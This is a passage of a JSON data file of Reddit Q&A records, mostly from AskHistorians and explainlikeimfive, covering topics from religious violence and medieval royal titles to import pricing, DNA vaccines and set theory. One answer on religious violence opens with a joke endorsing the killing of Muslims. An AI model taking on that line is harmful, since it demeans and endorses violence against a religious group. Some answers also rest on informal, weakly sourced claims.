"\"Thou shalt not kill\" refers specifically to murder. War and executions for crimes are thought to lie outside of that definition.", "Ok well for Christians keep in mind a lot of people couldn't read or write, but the priests/religious men could. Essentially there were a whole bunch of knights and soldiers in Europe who had nothing to do and started robbing and killing eachother, the Pope got mad and sent them on the Crussades because Islam was gaining on them.\n\nFor Islam however the matter is ever so slightly different. It does actually say that someone should defend themselves if someone else attacks them. Their mentality is not if someone slaps you offer him your other chick but rather if someone slaps you, and you have no other option then slap him back.\n\nHowever Islam is most definitely not violent to the point of mass murder etc...\n\nThe reason people believe in religion as a way of justifying their crimes however is because influential men play on words and twist them in such a way that other people believe them.\n\nI think it's important to state that none of these religions actually encourage people to attack others/be violent, religion is a very peaceful thing and that should be kept in mind that it is simply because bad, influential people twist words.", "According to the context of the Pentateuch and original manuscripts the commandment is referring to murder, unlawful/unjustified killing of another.", "It ai'nt matter 'slong we killin them dayum Musums.\n\nBut on a more serious note, to put it very simply, specifically referring to Radical Islamists: Al-Qaeda brainwashed some (unfortunately uneducated) Muslims into believing that the American (and European) occupation of some Middle-Eastern locations, or: The Holy Land, justified \"Jihad,\" or Holy War against America(and parts of Europe), including, but not limited to, the September 11th attacks.", "A good explanation for the overarching question is actually found in Mormon scripture. 1 Nephi 4:13 reads, in a nutshell, that sometimes it's better for one person to die than for an entire group to become totally evil.\n\n1) Usually people think that the Crusades were justified by claiming that God gave them the go-ahead to do it because it was all about converting people and convincing people to convert.\n2) Radical Islamist militants use the same argument. They claim that God is giving them the \"ok\" to do it. \n\nThe Quran does talk about peace and love, but it also briefly talks about jihad. Jihad really means \"a struggle\" (like a struggle to build a good society, etc.), and it wasn't until after Mohammed's death that people used it to mean \"war\".\n\nTL;DR: Some believe that it's better for one to die than to have that one person lead a lot of people away from God. Both Crusaders and Islamist militants believe/d that God is/was on their side and that God is okay with them doing what they're doing. And the Quran doesn't use jihad to mean \"war\", but more \"a struggle\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1igxi5", "title": "The title Rex was despised by the Romans, yet this Latin title was used by medieval kings. What was the first usage of this title during Late Antiquity/Early Middle Ages, and how did it's perception change?", "selftext": "And, if I may ask a similar question, when did the term Republic become common to describe governments in Italy? Did the Italians of this time perceive their states are Roman successors?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1igxi5/the_title_rex_was_despised_by_the_romans_yet_this/", "answers": {"a_id": ["cb4evkn", "cb4ffm7"], "score": [9, 6], "text": [" > What was the first usage of this title [Rex] during Late Antiquity/Early Middle Ages, and how did it's perception change?\n\nThe earliest I found was Holy Roman Emperor Henry II (1014-24) who used the title, \"Rex Romanorum,\" -- King of the Romans. {[Source](_URL_7_)}\n\nUndoubtedly earlier adoptions of Latin-sounding titles exist. It makes you sound more impressive if your title is in Latin. \n\nThe reasons perceptions \"changed\" was because the people adopting the title weren't Romans.\n\n > And, if I may ask a similar question, when did the term Republic become common to describe governments in Italy? \n\nI wouldn't say the word **republic** ever went out of fashion in Italy. Republican ideals didn't die with the Empire. Plato's *[The Republic](_URL_5_)* and Aristotle's *[Politics](_URL_6_)* made a comeback in the Renaissance, but their ideas didn't disappear entirely in the 6th century. Venice has been calling itself a republic since at least the 8th century. {[Source](_URL_2_)} In 1115, Florence was established as a republic. {[Source](_URL_4_)} Genoa (1015-ish), [Siena](_URL_1_) (1199-ish), Ragusa (1358) all claimed the term. The term was common as soon as the Republics were founded.\n\n > Did the Italians of this time perceive their states are Roman successors?\n\nOf course. It goes without saying. Everyone wanted to be the New Rome and be seen as the successor to the Republic (if not the Empire), not just in Italy but everywhere in Europe. This goes back to your post's first statement: \n\n > The title Rex was despised by the Romans, yet this Latin title was used by medieval kings.\n\nNaturally, you wouldn't dare call yourself Emperor; the Emperor was reigning in [Constantinople](_URL_0_) until 1453. Even *[Caesar](_URL_3_)* was still in use as a title in the Eastern Roman Empire. But *Rex* or *Dux* (Duke) was tasteful for international relations. ", "Yesterday the Oxford Handbook of Late Antiquity came in the mail for me, and it sheds some light on your question.  Vadomarius, an Alamannic king, was known to the Romans as a \"rex\" (when Julian took him off the throne, since Vadomarius had become too powerful to be content with being a mere client-king of Rome), we see him dubbed \"ex rege Almannorum\" -- the ex-king of the Alamnans. (OHLA 35).\n\nWe also see a Suevic \"rex\" named Hermeric in the 420's. (OHLA 37).\n\nBeyond that, the many client-kingdoms that the so-called \"Barbarian tribes\" formed in Late Antiquity were referred to either by their king, or \"reges\" (Kings, plural), or by the polities themselves as \"reguli\", or client-kingdom.  \n\nIn addition, I'm not sure how much the Romans despised the title Rex, for throughout Rome's history we see Rome set up a myriad of client-kingdoms in places like Armenia and Germania (information for this part comes from the History of Rome podcast which I've been enjoying greatly as well as the OHLA).  Rome did not want a king to rule over themselves, especially during the time of the Republic, but after centuries of rule by a single man (the Augusti), I would doubt they would care about that anymore.  The Augusti were not dubbed reges only because they were the \"King of Kings\", the power above all other kings.  In addition, by the time the Western Empire finally lost all political control over the West, the peoples in Gaul and in Italy even had been living under client-kings for a long time -- almost a century in the case of Gaul.  There was no special hatred for the concept of a king at this time, especially as these client-kings still held nominal loyalty to the Emperor in Constantinople."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.eyewitnesstohistory.com/constantinople.htm", "http://www.wga.hu/tours/siena/history.html", "http://www.amazon.com/History-Venice-John-Julius-Norwich/dp/0679721975", "http://www.amazon.com/books/dp/0195046528", "http://www.aboutflorence.com/history-of-Florence.html", "http://classics.mit.edu/Plato/republic.html", "http://classics.mit.edu/Aristotle/politics.html", "http://hsozkult.geschichte.hu-berlin.de/rezensionen/digital-2002-005"], []]}
{"q_id": "5m8187", "title": "how come there are so many companies offering free web hosting? what's the catch?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5m8187/eli5_how_come_there_are_so_many_companies/", "answers": {"a_id": ["dc1hxad", "dc1iwcx", "dc1j0yg", "dc1jhhm", "dc1kiyg", "dc1kpgr", "dc1nb8h"], "score": [6, 3, 27, 3, 4, 5, 5], "text": ["A lot of the free hosting sites do indeed let you have a \"free\" wesite. They make their money by cramming your pages full of ad's. Some limit your size or throughput some charge after as certain throughput is reached (hey you get that many hits you might be willing to pay or there might be a ad that will support you). ", "Usually the free option is very limited. It will likely have low bandwidth, low storage space and some back end features like PHP or SQL will not be available. Paying will get you more power and a wider variety of available features.\n\nI used one company for a lot of free hosting for various projects in my college days, but when I had a website that had a login and needed to be able to email users I had to upgrade to a paid service, for example.", "Like /u/donsterkay said, such companies usually make their money through advertising. It's worth noting, though, that not all of them do shady stuff like cramming ads on all your pages. As is usually the rule on the internet, for every 100 online services there are 99 scumbags and 1 honest fellow. Those two you listed as examples look legit, and although I haven't used them, I didn't find any scam accusations on Google.\n\nThe most likely answer to your question is that these companies have different tiers of service; i.e. the free tier offers basic levels of bandwidth and tools that would be enough for most people (think portfolio website or shopify online store), and the paid tier has extra stuff targeted at larger clients (like an online business). As long as there are enough paid clients to keep the ship afloat, the company can easily offer legit free hosting.\n\nEdit: A user below mentioned that 000webhost have had big security issues in the past, Google seems to confirm that. I asked a colleague of mine about OneSite and he said they're solid.", "All of them have paid services too. They give you the free service but a lot of stuff is limited on free plans. Number of databases, ftp accounts, traffic, CPU and RAM, SSH, backups, etc. When your site grows and you need more of those stuff you will have to pay them. Also some of them put ads in your website. \n\nAlso because of the limited nature of free hosts I don't suppose they cost them much. And they aren't dedicated servers, they are virtual servers which means lots of free websites can reside in one physical server. ", "Not all company's but some will make you have a weird domain name. For example _URL_1_ will give you a free site but your domain will be _URL_0_ if you want to change you'll have to outright buy the domain you want on top of what ever tier of service you want.", "You've gotten some good answers already, so I just wanted to add hard drives [are getting ridiculously cheap](_URL_0_). So, you know, if you run a server farm or whatever, you have some initial cost, sure, but getting your storage online isn't going to be very capital-intensive. Therefore, webspace providers and companies like dropbox can easily afford to hand out a couple gigabyte of storage - it doesn't cost them anything and might even turn you into a paying customer. That's a win.", "It is worth noting that most free host's IP addresses get blacklisted because scammers use them so someone behind a corporate firewall may not be able to access your site."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["whateveryounameit.webs.com", "webs.com"], ["http://www.jcmit.com/diskprice.htm"], []]}
{"q_id": "2sn132", "title": "how can imported goods compete with domestic goods prices, when they also have to pay tariffs and long distance shipping? why is a case of heineken the same price as a case of budweiser?", "selftext": "Seems like the imported goods would be far more. Or are the domestic goods UP-pricing their goods to be about the same as the imports' pricing to rake in extra dough?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2sn132/eli5_how_can_imported_goods_compete_with_domestic/", "answers": {"a_id": ["cnqzpxq", "cnqzvr2", "cnr084a", "cnr0gjn", "cnr3498", "cnr3dce", "cnr5pva", "cnravaw", "cnrikhd"], "score": [92, 5, 23, 5, 4, 4, 2, 3, 3], "text": ["Heineken has bottling facilities all over the world, so chances are your Heineken is way more local than you think. True imported beers will typically have a price markup.", "while it is true that importing goods will inherit taxes and levies and fees which get passed on to the consumer, the labour costs from these overseas companies are much lower than north american labor.  Compare a unionized labor force in the states compared to sweat shops in a 3rd world company like in east asia.  And that is the dilemma that larger companies face when profits (and not the economy) is their only priority.", "Because the labor and related costs to make something here is much more expensive than the cost of transportation and tariffs.\n\nUsing a made up example - if it costs me $20 to make each widget in the USA but only $4 per widget in China I still have $16 per widget in transportation and tariffs before it makes sense to switch production to the USA.  \n\nThe USA is great (speaking about costs only) at designing things and being creative but not the best when it comes to the actually process of making things.  That's why most products you see will have been designed and patented in the US but made elsewhere.", "Bulk shipping is cheap and not everything has high import tariffs.\n\nLabor costs are generally cheaper in the exporting country. Japan in the 1980's actually kept their Yen down in value to keep their exports affordable. In recent years, China has taken similar measures to keep their exports affordable.", "You've already heard plenty about where beer comes from.\n\nThe answer to \"Why is the price of X so high/low/...?\" is always because that's the price people will pay.  The cost of making and distributing a product is only a minor input in the overall price setting mechanism.", "The answer is logistics.\n\nSince the advent of containerised cargo and the container ship, the price per kilo per kilometer has fallen.\n\nI read the *The Box: How the Shipping Container Made the World Smaller and the World Economy Bigger* last summer, but I want to say the price today is like 3% of what it was in 1960.\n\nNow for stuff like wine, liquor, beer that is \"truly imported\". Much of it is shipped in tanks that are in a standard cargo container and bottled in the destination country.\n\nIt used to be that cases of whisky, wine, brandy, sake, whatever were shipped in bottles, but there was a lot of breakage and theft. Today, they are shipped in standard cargo containers which have sealed tanks inside.\n\nRead the *Box*, its a very interesting book that also discusses the collapse in the port-community middle class due to the efficiencies brought about by containerized cargo.\n\nEdit - on container ships. In the early post WW2 era, most cargo ships were surplus WW2 transports\n\nA ship like the Crater-class cargo ship could haul about 7,000 tons of cargo. By the mid to late 60s a ship like SS Atlantic Causeway could haul 14,000 tons of cargo. Today the Edith Maersk can carry up to 15,000 TEUs of cargo containers (577,500 m^3)", "well Tariffs have fallen as a result of the expansion of GATT into the WTO, so the cost of importing is not that much, as well as the fact that imported goods and domestic goods are not always comparable.  With something like the Heineken and Budweiser debate, they are not competing for the same market.  Budweiser has it's demand as a result of being Budweiser and Heineken makes it bones by selling to Hipsters, or by being \"imported\" and different.  They aren't really in competition, especially in a very \"fluid\" (I'm sorry) market like beer.  \n\nAdditionally, the cost of shipping is minimal, especially when looking at large cargo containers shipping over the ocean that can transport multiple goods easily and fungibly.  That is, they can put it pretty much on any ship and get it here because of improvements in logistics and the uniformity provided by Conex Containers (the giant boxes they ship in), that can then be loaded onto trains to get inland quickly and cheaply to warehouses.  \n\nThe largest price is also always labor as well.  So in places like China, India, Indonesia, Vietnam and Malaysia, where labor is incredibly cheap and vast, they can drop prices and more than make up for the increased shipping costs.  US textile production is a huge example of this.  US textiles have started to come back because our labor costs have dropped while Bangaladeshi labor (oneof the largest textile producers) costs have gone up, just a bit, and it became more worthwhile to produce it here because the labor costs were close enough that the shipping was too much.  As well as the fact that goods made in the US were made to a higher standard.  \n\nBasically, there is a lot going on, you might need to take multiple econ courses to fully cover it", "The way Companies decide on whether they want to import materials is called a Total Cost of Ownership model. TCO models account for Tarriffs, Customs fees, and distribution costs from the port to the warehouse. A lot of times even with the additional fees you pay for American customs duties, tariffs, etc. the TCO still comes out three to four times cheaper to import something from China. The labor cost in China is still just too alluring for most companies to deny. I will say that due to logistics risk factors, rising wages, and quality standards companies are moving their distribution networks closer to home (Mexico). It is cheaper to import the raw materials from China, have them assemble it in Mexico and ship it over the border because of Open Trade Agreements like NAFTA.", "Because there is a tremendous amount of margin in alcohol. Budweiser may cost less to brew locally then it costs to ship Heineken, but Budweiser makes a lot of money selling it, so Heineken just takes a smaller, yet still quite large, margin and prices the beer the same as bud to compete. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "xukbc", "title": "How are rulers deemed \"legitimate\" or not?", "selftext": "Speaking as an American in the 21st century I fail to see how one person ruling a country is more or less legitimate that another person doing the same thing, especially considering that families seem to rise to power by seizing power from someone else, not to mention the stupid idea of \"divine right to rule\" thing that seems to have been  used for the past several thousand years.\n\nI mean, look at history. Who didn't just seize power? Alexander's generals each decided that they were the rightful rulers and eventually were considered so. As well as Mithridates when he seized a city and formed Pontus. Not to mention the innumerable monarchs in Europe who have done the same thing over the since the fall of the Roman Empire.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/xukbc/how_are_rulers_deemed_legitimate_or_not/", "answers": {"a_id": ["c5pptt1", "c5pqk6w", "c5pqocm", "c5pqogx", "c5pt27i"], "score": [7, 2, 3, 14, 2], "text": ["Legitimacy is usually something that subjects give to a ruler, usually having to do with fulfilling some standard form. This legitimacy can come and go, which is why some regimes which were considered completely legitimate at one point can be considered thoroughly illegitimate five years later, as with P\u00e9tain's French State from 1940-1944. But it is a real thing, which most rulers have to struggle to obtain or maintain to keep away new comers chomping at the bit.\n\n\nTake America, for example. We don't say that anyone can be president; the president could be anyone at all, and he may or may not be any good, but he has to fulfill several duties in order to ascend to office. He must be at least 35, have lived in America for 14 years, be elected ... Often in successful coups, the new ruler had or has to prove that the former leader did not fulfill these duties (whatever they are in context) and then must take pains to appear to fulfill the duties himself, so that the subjects believe he (almost said s/he, but let's be realistic here) is entitled to power.  Think of it as a variation on selectorate theory -- the idea that a ruler can only stay in power if he satisfies enough of the right part of the electorate that matters.", "I think you are asking a question about law theory.\nBasically there is 3 primary law theories, Natural law (Aristotle, Plato, Agustin of hippo, Thomas Aquinas, Hobbes), Positive law (Austin, Kelsen, Hart), and legal realism (Holmes, Ross). You can google them or [wikipedia](_URL_0_) will give you a basic understanding.\nAnd even inside this theories there are a lot of different positions. Is not really a pacific matter.\n\nSo to give you \"an\" answer today, as a fictitious positivist follower of kelsen I will say to you that the legitimacy of the ruler comes from the law that gives him power, the legitimacy of that law comes from the constitution, the legitimacy of the constitution comes from the previous constitution if the current one was made according to the proceedings that the previous one mandated, if it wasn't, or there is not a previous one, then we are talking about the first constitution, that one, gets legitimacy from a \"basic norm\" thats hypothetical and pressuposed. \n", "In cases of the southern African polities I look at, legitimacy came from two sources: accessional acclaim and *ex post facto* court politics.  Most family and client networks tied into a particular leadership clan from whom royal authority was drawn; the royals kept power and wealth in exchange for lending it in return.  Abusing it was a good way to cause fission.\n\nBut in cases of succession, often there would be an idealized procedure connected to advisors and councilors, usually elders; the favored candidate (depending on the polity) was usually the offspring of the decedent leader by his great wife but not necessarily the first wife.  A great deal of politicking took place between the families of the wives, especially if the \"logical\" successor was not well liked or fully supported.  So what could happen is a less legitimate heir could be put on a throne because the various families preferred it.  Violations of the idealized succession could then be mobilized as a *casus belli* by the adherents of the loser, or as a reason for forming their own chiefdom and possible wars that follow.  If you have the power to seize control directly you might well do it, but in order to have that kind of power (without a massive military advantage) you'd already need to be in a position of likely legitimacy-by-acclaim and be able to overcome the reigning ruler.\n\nToday, chiefly succession is based on heritage and unbroken succession, with forms dictated by the relevant \"overlord\" state in South Africa or wherever.  The standard form is far less flexible than it was in the past and arguably it produces far less accountable leadership.  But the ultimate legitimacy has passed to the national government, so in a way it doesn't have to be accountable because it has very little legal power.  (This isn't true of the Swazi royal household, which is a mess.)\n\nSo basically even in a radically different milieu (18th-19th C. southern Africa) it boils down to much of what run85 said.  The principles are remarkably common across societies.  One can rule as an autocrat entirely by fear and violence, or entirely by charismatic patronage, but that doesn't tend to last--witness Cromwell's son in England or the Portuguese *Estado Novo's* twilight years under Caetano.  You can extend rule (and legitimacy) by implicit threat of force under an oligarchic dictatorship for a longer period (indeed most colonial regimes fall under this heading, as would the Soviets) but that again lasts only so long as its ability to quell dissent and maintain its prime claim to legitimate status.", "Really? One ruler is weird?\n\nThe thought that everyones say matters is an exceedingly new phenomenon in human history. Imagine living in a world where you don't know if you're going to live to see the next year because neighbouring people may come and enslave you and your family. Imagine living in a world where storms, volcano eruptions, earthquakes and not to mention failed harvests are act's of angry gods.\n\nThen imagine a ruler coming along promising to keep your family's safe, promising he has the gods backing, promising that his strength will keep your enemies at bay.\n\nThen imagine this man succeeding at that, you owe him your families continued well being. Who are you to go against this clearly above human man?\n\n**All in all, the man with the greatest promise wins. This is still true today :/**", "Forgive the fictional anecdote, but it is more of a psychological question rather than a historical one really.\n\nAnyway I think [this quote from Game of thrones](_URL_0_) hits it pretty solidly.  Posted if you don't want to click link.\n\n > Riddle: \"In a room sit three great men, a king, a priest, and a rich man with his gold. Between them stands a sellsword, a little man of common birth and no great mind. Each of the great ones bids him slay the other two. 'Do it,' says the king, 'for I am your lawful ruler.' 'Do it,' says the priest, 'for I command you in the names of the gods.' 'Do it,' says the rich man, 'and all this gold shall be yours.' So tell me- who lives and who dies?\"\n\n > Varys - \"Perchance you have considered the riddle I posed you that day in the inn?\"\n\n > Tyrion - \"It has crossed my mind a time or two. The king, the priest, the rich man-who lives and who dies? Who will the swordsman obey? It's a riddle without an answer, or rather, too many answers. All depends on the man with the sword.\"\n\n > Varys - \"And yet he is no one. He has neither crown nor gold nor favor of the gods, only a piece of pointed steel.\"\n\n > Tyrion - \"That piece of steel is the power of life and death.\"\n\n > Varys - \"Just so . . . yet if it is the swordsmen who rule us in truth, why do we pretend our kings hold the power? Why should a strong man with a sword ever obey a child king like Joffrey, or a wine-sodden oaf like his father?\"\n\n > Tyrion - \"Because these child kings and drunken oafs can call other strong men, with other swords.\"\n\n > Varys - \"Then these other swordsmen have the true power. Or do they? Whence came their swords? Why do they obey? Some say knowledge is power. Some tell us that all power comes from the gods. Others say it derives from law. Yet that day on the steps of Baelor's Sept, our godly High Septon and the lawful Queen Regent and your ever so-knowledgeable servant were as powerless as any cobbler or cooper in the crowd. Who truly killed Eddard Stark do you think? Joffrey, who gave the command? Ser Ilyn Payne, who swung the sword? Or . . . another?\"\n\n > Tyrion - \"Did you mean to answer your damned riddle, or only to make my head ache worse?\"\n\n > Varys - \"Here, then. Power resides where men believe it resides. No more and no less.\"\n\n > Tyrion - \"So power is a mummer's trick?\"\n\n > Varys - \"A shadow on the wall, yet shadows can kill. And oft times a very small man can cast a very large shadow.\"\n\n > Tyrion - \"Lord Varys, I am growing strangely fond of you. I may kill you yet, but I think I'd feel sad about it.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Jurisprudence"], [], [], ["http://board.freedomainradio.com/forums/p/35029/270985.aspx"]]}
{"q_id": "61r2iq", "title": "what's the difference between a phase and a state? what's a component?", "selftext": "The teacher told us a suspension of oil on water has 1 state, 2 components and 2 phases? What are phases in the first place?\n\n\nEdit: fixed autocorrect error", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/61r2iq/eli5_whats_the_difference_between_a_phase_and_a/", "answers": {"a_id": ["dfgmb5p"], "score": [3], "text": ["One state - it's a liquid (could be solid, liquid, gas, plasma)\n\nTwo components - oil and water (*)\n\nTwo phases - they don't mix so stay as separate layers or droplets\n\nA mixture of sugar and salt in water would be a liquid with three components forming one phase because they all dissolve - as long as you don't put too much in, of course.\n\n(*)Actually, the oil might be made up of lots of components, ie different hydrocarbons, but that's probably not relevant to your current study."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4uib3i", "title": "why do .onion domains have such weird names?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4uib3i/eli5_why_do_onion_domains_have_such_weird_names/", "answers": {"a_id": ["d5q0fh8"], "score": [6], "text": [".onion domains are actually the result of a hash function using the public key of the hidden service, so the result is a gobbledegook of alphanumeric characters."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "rhmo7", "title": "What are DNA-based vaccines and are will they be superior to traditional vaccine technologies?", "selftext": "To any immunologists out there, tell me what you know about DNA-based vaccines. Is it DNA or RNA that is ligated into a plasmid? Can these plasmids actually induce an immune response?\n\nAre there any currently approved DNA-based vaccines? What's the pipeline like? Will this technology actually take off, or will traditional methods still predominate?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rhmo7/what_are_dnabased_vaccines_and_are_will_they_be/", "answers": {"a_id": ["c45xvi0", "c45y4d6"], "score": [7, 2], "text": ["A DNA-based vaccine means that, yes, you have DNA ligated in a plasmid (you can't ligate RNA into a plasmid) that you inject into whatever it is you are trying to vaccinate. The plasmid itself does not cause the immune response, rather, the DNA encodes a particular protein that would be part of the whole disease-causing pathogen. The cells that receive the plasmid will actually produce the pathogen-derived protein by reading the DNA sequence encoding it and using their own cellular machinery to assemble the protein. This protein is called an antigen, and the immune system will recognize it as a non-self molecule. The immune system is activated by and can remember this antigen and recognize it in the future. The most obvious advantage of these vaccines is that when the antigen is produced inside the cells, it can induce cellular immunity (through MHC class I pathway), as opposed to conventional vaccines which remain extracellular and mainly induce humoral immunity (through MHC class II pathway).\n\n\nAs far as I know there are no approved DNA-based vaccines for humans yet, but there are a few in trials. I can't really answer your last two questions, but if I were to guess I would say that this approach will definitely become the predominant one, if we can get the vaccines to work properly. It has the potential to be very safe and effective.", "Most of your questions are answered by [wikipedia](_URL_0_).  The last two questions can only be answered with an opinion unfortunately.  My opinion is that the tech will have applications for a limited number of vaccines.  I personally think that the greatest potential for DNA-based vaccines is for protection against diseases where cell-mediated immunity may be the primary mechanism of protection (as opposed to humoral immunity).  So this might mean herpes viruses, more flaviviridae (like West Nile, Dengue, Yellow Fever) and possibly certain tough to treat intracellular disease (toxoplasmosis, malaria, leprosy, Lyme disease, etc.)  Traditional methods for most established things will predominate for a very long time to come however."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/DNA_vaccination"]]}
{"q_id": "16u1le", "title": "Question on historical research journals", "selftext": "Hey /r/AskHistorians. \n\nI'm 17 and currently studying History at A level and plan on doing a degree in History and I started thinking that I really should start actually reading real historical research journals.\n\nSo /r/AskHistorians my question is what historical research journals would you recommend I read?\n\nQuick note, I'm interested in 20th century history more specifically European (since that's what I have learnt)\n\nEDIT: Specification of fields of interest.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/16u1le/question_on_historical_research_journals/", "answers": {"a_id": ["c7zcu5t", "c7zolpt"], "score": [6, 3], "text": ["Have you identified a period or country you are especially interested in?\nIf you are mostly interested in American history for example, I would recommend the *American Historical Review* and the *Journal of American History*. But if you want to read on Ancient Greek history, those wouldn't be the best journals.\n\nKeep in mind that these journals are usually written for experts on the respective subject matter. You might find them boring or unaccessible without having studied history at uni/college. I personally think you would be better off by reading history books, like those on the [AskHistorians Master Book List](_URL_0_). I don't want to discourage you from reading a research journal, but it might be a bit of an overkill at 17.", "As you're doing A-levels, I assume you're in the UK. Why not start with *History Today*, which has articles which are relatively brief and accessible, but written by serious professional historians? Just because it has illustrations, it isn't necessarily trivial.\n\nFor a taste of heavyweight scholarship, try *English Historical Review* - the articles can be forbiddingly long and dense, but there is a lot to be learned from the book reviews."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/books"], []]}
{"q_id": "4215dl", "title": "Do we have any records of pre-Islamic Arabian poetry?", "selftext": "Information regarding the city of Mecca would be especially helpful.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4215dl/do_we_have_any_records_of_preislamic_arabian/", "answers": {"a_id": ["cz6t57v"], "score": [14], "text": ["In fact, early Muslim scholars like Al-Mufaddal al-Dabi and Hammad Ar-Rawiya put a substantial amount of effort into compiling and preserving Arabic-language poetry from about the century before and during Muhammad's lifetime. Part of the goal was to preserve more of the state of the Arabic *language* at the time, to aid scholars in understanding the Qur'an; but, according to Islamic tradition, part of the goal was to revive knowledge of renowned literary traditions that had fallen out of favor. The movement was so successful, in fact, that a few scholars were accused of *forging* ancient poems just to appear to produce a collection of ancient works on their own. These poems, which generally survive in compilations from later centuries, are our major written sources for pre-Islamic Arabia.\n\nPoetry in pre-Islamic Arabia was an oral tradition, an oral *event*. Poets gathered at prestigious courts like that of the Lakhmids to recite their poetry. The particular role of *women* poets in composing elegies to mourn the dead also became entertainment, as poets like Khansa (Tumadir bint 'Amr) competed in public competitions over the best elegy!\n\nI can't promise a Meccan origin for any one poem. But it is worth pointing out that one collection, the Mu'allaqat, gets it name from the legend that the seven poems included were hung on or in the Kaaba. The much larger Mufaddaaliyat is noteworthy because it contains fragments as well as full poems, showing the scholars' (in this case Al-Mufaddal) dedication to preserving the pre-Islamic poetic tradition.\n\nJonathan Brown's [2003 essay](_URL_0_) on the social context of Jahili (\"barbarian\") poetry explores some of the scholarly treatments of the poems and has a bibliography I imagine would interest you immensely. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.drjonathanbrown.com/wp-content/uploads/2011/08/Pre-Islamic-Poetry.pdf"]]}
{"q_id": "9wkufg", "title": "- what is set theory? what do set theorists do?", "selftext": "And how do we get to the stage that 1=2?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9wkufg/eli5_what_is_set_theory_what_do_set_theorists_do/", "answers": {"a_id": ["e9lhicz", "e9li88l"], "score": [7, 3], "text": ["A set is a collection of stuff. An example is the set of just the number five, which is written {5} or the set of all positive even numbers which you could write as {2,4,6,8,...}. As you go further into mathematics, these get a bit more abstract, where you start dealing with things like empty sets, or a set containing more sets, or sets where you don't say exactly what's in them, you just say the rules for what kind of things are allowed in them.\n\nThis is what set theory deals with. Manipulating collections of objects, then working out what kind of rules happen when you manipulate different kinds of these collections. Since sets are a really broad thing (anything can be in them, and you can use them in all sorts of ways) the things you do in set theory are also pretty broad.\n\nOne of the things it's used for is to try to boil down numbers into some really basic rules for what numbers are, sort of like how atoms or protons/electrons/neutrons are the building blocks of matter. So a set theorist might say that 0 is defined to be an empty set. They write 0 = {}. Then how do you get the rest of the numbers? You say there's a function (called the 'iterator' function) that takes the previous set we used, and adds it inside our new set. It looks like this:\n\n0 = {}  \n1 = {0} = { {} }  \n2 = {0, 1} = { {}, { {} } }  and so on\n\nThis type of stuff is used to try to build a theoretical foundation for the numbers themselves, so that if we run into issues down the road with some other problem, we can try to use this as a tool to prove something that we might suspect. It may seem silly and trivial, but there have been issues in other fields of mathematics (like Calculus) where someone invents something that seems to work well, but they didn't really cross their T's and dot their I's as far as rigorously defining how everything works, so this kind of thing is actually a pretty big deal.\n\nAnother common example is when we talk about how big a set is. So say we have the set of all of the whole numbers {1,2,3,4,...}. How big is that set? Infinitely big, right? We might then consider the set of all the real numbers, which is the whole numbers, and every conceivable number between (.5, sqrt(2), pi, etc.). It's also an infinite amount of numbers, but which set is bigger? Spoiler: the reals are a bigger set. One of the big problems of the last century was that of trying to figure out if there is some set that's bigger than the set of whole numbers and smaller than the real numbers, which remains unsolved, or rather proven to be unsolvable, to this day. It's sort of saying there's a big infinity and a little infinity, and we don't know if there's a middle sized infinity between them.\n\nAs to the 1=2 thing, I'm not sure where you got that from, so I can't comment on it. I usually see that when people do algebra and break the rules in some sneaky sort of way.", "In mathematics, sets are simply collections of objects. {1, 2, 3} is a set. { {2}, {4, 5}} is a set which itself contains sets.\n\nFrequently when working with a particular kind of object, mathematicians will try to state the most basic assumptions for objects of that kind such that they still correspond to this object, and see where those assumptions lead. For example, when working with natural numbers, you might take the [Peano axioms](_URL_1_), a set of nine assumptions (plus logical rules of deduction) and see what you can derive from them. Or, if you're trying to figure out what a 'space' is, you might start with the [axioms of topology](_URL_3_) and see what you can build from those.\n\nSet theory is a collection of such extremely basic axioms that describe everything we might want to consider as a 'set'. There are actually several collections of these that might all be called a set theory, but the most commonly used is [Zermelo-Frankel](_URL_0_), optionally with the [axiom of choice](_URL_2_). You can see that the axioms have very basic forms - 'two sets are equal if they satisfy these conditions', 'if you have such and such sets it is possible to construct such and such other set' - just in more formal symbolic language.\n\nWhen constructing such theories, you generally want to avoid dependence on other theories. As such, you don't want to start off assuming you can collect sets of numbers - you take sets as the only objects that exist. The empty set {} is simply taken for granted. From these, you can construct other things - the set of the empty set { {} }, or the set containing both that set and the empty set { {}, { {} } }, or more. Using these axioms you can show that an infinite amount of such sets exist.\n\nWhen we were doing these exercise throughout the 19th and 20th centuries, it became apparent that this is a very natural way to work. We could construct sets that behave like natural numbers - let 0 = {}, let 1 = { 0 } = { {} }, let 2 = { 0, 1 } = { {}, { {} } }, etc. From these structures it's easy to define operations and comparisons, or build more numbers like integers, rationals, reals, etc. Defining functions in the language of set theory comes trivially. It is so ubiquitous, it became a standard to base math ultimately off of set theory.\n\nThis answers what is set theory - a collection of rules for how sets behave. As for what set theorists do, this is a bit trickier. [Here](_URL_4_) is a good summary on current question in set theory - 